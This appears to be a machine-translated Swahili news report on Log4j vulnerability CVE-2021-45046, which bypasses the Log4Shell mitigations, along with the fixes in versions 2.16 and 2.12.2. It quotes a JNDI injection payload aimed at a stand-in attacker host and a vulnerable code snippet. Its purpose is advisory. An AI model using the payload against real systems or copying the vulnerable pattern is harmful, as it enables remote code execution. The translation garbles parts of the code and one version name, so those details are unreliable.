Athari nyingine imetambuliwa katika utekelezaji wa utafutaji wa JNDI katika maktaba ya Log4j 2 (CVE-2021-45046), ambayo inaonekana licha ya marekebisho yaliyoongezwa katika toleo la 2.15 na bila kujali matumizi ya mpangilio wa "log4j2.noFormatMsgLookup" kwa ulinzi. Tatizo ni hatari hasa kwa matoleo ya awali ya Log4j 2, yanayolindwa kwa kutumia bendera ya “noFormatMsgLookup”, kwani hurahisisha kukwepa ulinzi dhidi ya udhaifu wa awali (Log4Shell, CVE-2021-44228), ambayo hukuruhusu kutekeleza msimbo wako kwenye seva. Kwa watumiaji wa toleo la 2.15, unyonyaji ni mdogo kwa kusababisha programu kuacha kufanya kazi kwa sababu ya uchovu wa rasilimali zinazopatikana.
Athari hii inaonekana tu kwenye mifumo inayotumia Muktadha wa Kutafuta Muktadha kwa kuweka kumbukumbu, kama vile ${ctx:loginId}, au violezo vya MDC (Ramani ya Muktadha), kama vile %X, %mdc na %MDC. Uendeshaji huja chini ya kuunda hali za kutoa data iliyo na vibadala vya JNDI kwenye rajisi wakati wa kutumia hoja za muktadha au violezo vya MDC katika programu ambayo hufafanua sheria za uumbizaji towe kwenye kumbukumbu.
Watafiti kutoka LunaSec walibaini kuwa kwa matoleo ya Log4j chini ya 2.15, athari hii inaweza kutumika kama vekta mpya kwa shambulio la Log4Shell, na kusababisha utekelezaji wa msimbo, ikiwa misemo ya ThreadContext inayojumuisha data ya nje itatumika katika matokeo ya logi, bila kujali kama "linda" alama imewezeshwa na MsgFormatLookups" au kiolezo "%m{nolookups}".
Kupuuza ulinzi kunatokana na ukweli kwamba badala ya kubadilisha moja kwa moja ya “${jndi:ldap://attacker.com/a}”, usemi huu unabadilishwa kupitia thamani ya kigezo cha kati kinachotumika katika sheria za kupangilia matokeo ya kumbukumbu. . Kwa mfano, ikiwa hoja ya muktadha ${ctx:apiversion} inatumiwa wakati wa kutoa logi, basi shambulio linaweza kutekelezwa kwa kubadilisha data "${jndi:ldap://attacker.com/a}" kwenye thamani iliyoandikwa kwa kigeu cha kuchukiza. Mfano wa msimbo ulio katika mazingira magumu: appender.console.layout.pattern = ${ctx:apiversion} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n @ GetMapping("/") faharasa ya Kamba ya umma(@RequestHeader("X-Api-Version") String apiVersion) {// Thamani ya kichwa cha "X-Api-Version" HTTP inapitishwa kwa ThreadContext ThreadContext.put("apiversion ", apiVersion); // Wakati wa kutoa logi, thamani ya nje ya ubatili itachakatwa kwa kutumia badala ya ${ctx:apiversion} logger.info("Imepokea ombi la toleo la API"); kurudi "Halo, ulimwengu!"; }
Katika toleo la 4 la Log2.15j, athari inaweza kutumika kutekeleza mashambulizi ya DoS wakati wa kupitisha thamani kwenye ThreadContext, na kusababisha kitanzi katika uchakataji wa violezo vya uundaji wa matokeo.
Ili kuzuia uwezekano wa kuathiriwa, masasisho 2.16 na 2.12.2 yalichapishwa. Katika tawi la Log4j 2.16, pamoja na marekebisho yaliyotekelezwa katika toleo la 2.15 na ufungaji wa maombi ya JNDI LDAP kwa "mwenyeji wa eneo", utendakazi wa JNDI umezimwa kabisa kwa chaguo-msingi na usaidizi wa violezo vya kubadilisha ujumbe huondolewa. Kama suluhisho la usalama, inashauriwa kuondoa darasa la JndiLookup kutoka kwa njia ya darasa (kwa mfano, "zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class") .
Unaweza kufuatilia mwonekano wa marekebisho katika vifurushi kwenye kurasa za usambazaji (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) na watengenezaji wa majukwaa ya Java (GitHub, Docker, Oracle, vmWare, Broadcom na Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure, n.k.).
Chanzo: opennet.ru
